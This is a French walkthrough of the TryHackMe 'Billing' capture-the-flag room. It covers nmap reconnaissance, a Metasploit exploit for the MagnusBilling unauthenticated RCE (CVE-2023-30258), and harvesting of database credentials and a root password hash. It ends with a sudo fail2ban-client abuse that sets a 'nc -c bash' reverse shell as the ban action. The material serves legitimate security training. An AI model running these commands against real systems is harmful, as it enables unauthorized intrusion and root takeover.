Billing

Lien vers l’épreuve : https://tryhackme.com/room/billing

Easy

Sommaire

Reconnaissance

nmap -T4 -sS -sV billing.thm
Afficher la réponse
Nmap scan report for billing.thm (10.130.179.21)
Host is up (0.00010s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
3306/tcp open  mysql   MariaDB (unauthorized)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.86 seconds


Le scanner NMAP permet de trouver un serveur SSH sur le port 22, un serveur HTTP Apache sur le port 80, et un serveur MariaDB contenant une base de données sur le port 3306.

Une analyse approfondie sur le port 80 permet de découvrir un service “MagnusBilling”.

nmap -T4 -A billing.thm -p 80
Afficher la réponse
Nmap scan report for billing.thm (10.130.179.21)
Host is up (0.00020s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/mbilling/
|_http-server-header: Apache/2.4.62 (Debian)
| http-title:             MagnusBilling        
|_Requested resource was http://billing.thm/mbilling/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.10 - 3.13 (94%), Linux 3.8 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACEROUTE (using port 443/tcp)
HOP RTT     ADDRESS
1   0.26 ms billing.thm (10.130.179.21)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.01 seconds


Exploitation web

Une recherche sur le site de l’outil MagnusBilling permet de trouver des identifiants par défaut. Les identifiants du site ont été mise à jour et ceux par défaut ne sont donc plus exploitable.

Une recherche sur Metasploit permet de trouver une vulnérabilité qui pourrait être exploitée si la version du site est impactée.

msf6 > search magnusbilling

Matching Modules
================

   #  Name                                                        Disclosure Date  Rank       Check  Description
   -  ----                                                        ---------------  ----       -----  -----------
   0  exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258  2023-06-26       excellent  Yes    MagnusBilling application unauthenticated Remote Command Execution.
   1    \_ target: PHP                                            .                .          .      .
   2    \_ target: Unix Command                                   .                .          .      .
   3    \_ target: Linux Dropper

Pour tester cet exploit, Metasploit sera paramétré comme suit :

set RHOSTS billing.thm
set TARGETURI /mbilling/
setg LHOST 10.130.71.70

L’exploit permet d’obtenir un Meterpreter sur la machine.

Flag utilisateur

Le shell fourni par le Meterpreter permet de trouver et ouvrir le flag utilisateur.

ls -hal /home/*
Afficher la réponse
/home/debian:
total 32K
drwxr-xr-x 3 debian debian 4.0K Apr  7 05:00 .
drwxr-xr-x 5 root   root   4.0K Apr  7 05:00 ..
-rw-r--r-- 1 debian debian  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 debian debian 3.5K Mar 27  2022 .bashrc
-rw-r--r-- 1 debian debian 5.2K Jul 12  2023 .face
lrwxrwxrwx 1 debian debian    5 Jul 12  2023 .face.icon -> .face
-rw-r--r-- 1 debian debian  807 Mar 27  2022 .profile
drwx------ 2 debian debian 4.0K Apr  7 05:00 .ssh

/home/magnus:
total 76K
drwxr-xr-x 15 magnus magnus 4.0K Sep  9  2024 .
drwxr-xr-x  5 root   root   4.0K Apr  7 05:00 ..
lrwxrwxrwx  1 root   root      9 Mar 27  2024 .bash_history -> /dev/null
-rw-------  1 magnus magnus  220 Mar 27  2024 .bash_logout
-rw-------  1 magnus magnus 3.5K Mar 27  2024 .bashrc
drwx------ 10 magnus magnus 4.0K Sep  9  2024 .cache
drwx------ 11 magnus magnus 4.0K Mar 27  2024 .config
drwx------  3 magnus magnus 4.0K Sep  9  2024 .gnupg
drwx------  3 magnus magnus 4.0K Mar 27  2024 .local
-rwx------  1 magnus magnus  807 Mar 27  2024 .profile
drwx------  2 magnus magnus 4.0K Mar 27  2024 .ssh
drwx------  2 magnus magnus 4.0K Mar 27  2024 Desktop
drwx------  2 magnus magnus 4.0K Mar 27  2024 Documents
drwx------  2 magnus magnus 4.0K Mar 27  2024 Downloads
drwx------  2 magnus magnus 4.0K Mar 27  2024 Music
drwx------  2 magnus magnus 4.0K Mar 27  2024 Pictures
drwx------  2 magnus magnus 4.0K Mar 27  2024 Public
drwx------  2 magnus magnus 4.0K Mar 27  2024 Templates
drwx------  2 magnus magnus 4.0K Mar 27  2024 Videos
-rw-r--r--  1 magnus magnus   38 Mar 27  2024 user.txt

/home/ssm-user:
total 20K
drwxr-xr-x 2 ssm-user ssm-user 4.0K May 28  2025 .
drwxr-xr-x 5 root     root     4.0K Apr  7 05:00 ..
-rw-r--r-- 1 ssm-user ssm-user  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ssm-user ssm-user 3.5K Mar 27  2022 .bashrc
-rw-r--r-- 1 ssm-user ssm-user  807 Mar 27  2022 .profile


cat /home/magnus/user.txt
Afficher la réponse
THM{[...expurgé...]}


Escalade

En recherchant dans le dossier /var/www/html/mbilling/, le fichier “index.php” se révèle utile.

cat /var/www/html/mbilling/index.php
Afficher la réponse
<?php

// change the following paths if necessary
$yii=dirname(__FILE__).'/yii/framework/yii.php';
$config=dirname(__FILE__).'/protected/config/main.php';

defined('YII_DEBUG') or define('YII_DEBUG',false);
defined('YII_TRACE_LEVEL') or define('YII_TRACE_LEVEL',0);

require_once($yii);
Yii::createWebApplication($config)->run();


Un fichier de configuration existe au chemin /var/www/html/mbilling/protected/config/main.php

cat /var/www/html/mbilling/protected/config/main.php
Afficher la réponse
//[...expurgé pour brièveté...]
$configFile = '/etc/asterisk/res_config_mysql.conf';
$array      = parse_ini_file($configFile);
//[...expurgé pour brièveté...]


Un autre fichier de configuration se trouve au chemin /etc/asterisk/res_config_mysql.conf.

cat /etc/asterisk/res_config_mysql.conf
Afficher la réponse
[general]
dbhost = 127.0.0.1
dbname = mbilling
dbuser = mbillingUser
dbpass = BLOGYwvtJkI7uaX5


Les identifiants nécessaires à l’exploitation de la base de données ont été récupérés.

mysql -h localhost -u mbillingUser -p mbilling
SHOW Tables;
Afficher la réponse
[...expurgé pour brièveté...]
pkg_user
[...expurgé pour brièveté...]


DESCRIBE pkg_user;
Afficher la réponse
[...expurgé pour brièveté...]
username    varchar(20)     NO MUL NULL
password    varchar(100)    NO     NULL
[...expurgé pour brièveté...]


SELECT username,password FROM pkg_user;
Afficher la réponse
username    password
root        d8c55b020bca07272d4cf3a46d693bb6ebafe3e1


Le hash du compte root a été récupéré.

Craquage du mot de passe

L’outil Hascat devrait permettre de déchiffrer le mot de passe.

L’utilitaire hash-identifier indique que le hash est probablement au format SHA1

--------------------------------------------------
 HASH: d8c55b020bca07272d4cf3a46d693bb6ebafe3e1

Possible Hashs:
[+] SHA-1
[+] MySQL5 - SHA-1(SHA-1($pass))

Hashcat ne permet pas de craquer le mot de passe, il va falloir trouver une autre solution

Droits sudo

En continuant l’analyse, il apparaît que l’utilisateur du shell a la possibilité d’exécuter la commande /usr/bin/fail2ban-client avec les droits sudo.

sudo -l
Afficher la réponse
Matching Defaults entries for asterisk on ip-10-130-179-21:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for asterisk:
    Defaults!/usr/bin/fail2ban-client !requiretty

User asterisk may run the following commands on ip-10-130-179-21:
    (ALL) NOPASSWD: /usr/bin/fail2ban-client


sudo fail2ban-client status
Afficher la réponse
Status
|- Number of jail: 8
`- Jail list: ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager, ip-blacklist, mbilling_ddos, mbilling_login, sshd


sudo fail2ban-client get sshd actions
Afficher la réponse
The jail sshd has the following actions:
iptables-multiport


Il est possible de modifier la règle pour obtenir un reverse-shell de la manière suivante :

sudo fail2ban-client set sshd action iptables-multiport actionban "nc -c bash 10.130.71.70 9000"

Sur la machine d’attaque

Utiliser Netcat pour mettre le port (9000) correspondant en écoute.

nc -lnvp 9000

Puis déclencher un banissement depuis la machine cible.

sudo /usr/bin/fail2ban-client set sshd banip 10.0.0.1

Une connexion est désormais établie, qu’il convient d’améliorer :

Ensuite, le flag root est à portée de main.

cat /root/root.txt
Afficher la réponse
THM{[...expurgé...]}